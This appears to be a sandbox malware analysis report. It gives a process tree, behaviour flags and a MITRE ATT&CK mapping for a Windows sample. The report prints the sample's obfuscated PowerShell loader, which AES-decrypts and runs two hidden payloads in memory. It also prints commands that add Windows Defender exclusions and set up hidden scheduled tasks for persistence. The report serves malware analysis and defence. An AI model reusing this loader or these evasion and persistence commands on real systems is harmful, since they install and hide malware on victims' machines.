- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_701_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_701.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4400
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_701.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4140
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_701.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1876
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0zB5oNxw8ChOTR95+B7+FqMqcWMDZ3zXPUOZ3OFVNvI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1oecpyE1wbmZA6wwUszdsQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $EyndQ=New-Object System.IO.MemoryStream(,$param_var); $zsSyH=New-Object System.IO.MemoryStream; $pyawh=New-Object System.IO.Compression.GZipStream($EyndQ, [IO.Compression.CompressionMode]::Decompress); $pyawh.CopyTo($zsSyH); $pyawh.Dispose(); $EyndQ.Dispose(); $zsSyH.Dispose(); $zsSyH.ToArray();}function execute_function($param_var,$param2_var){ $biCMJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zPMku=$biCMJ.EntryPoint; $zPMku.Invoke($null, $param2_var);}$nJNeX = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_701.bat';$host.UI.RawUI.WindowTitle = $nJNeX;$fOqpF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nJNeX).Split([Environment]::NewLine);foreach ($gaYRM in $fOqpF) { if ($gaYRM.StartsWith('sfseDMVMVhMjxEnxjzbU')) { $gfrZZ=$gaYRM.Substring(20); break; }}$payloads_var=[string[]]$gfrZZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2408
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4804
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1028
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4852
        
        C:\Users\Admin\AppData\Local\Temp\kkuobf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\kkuobf.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery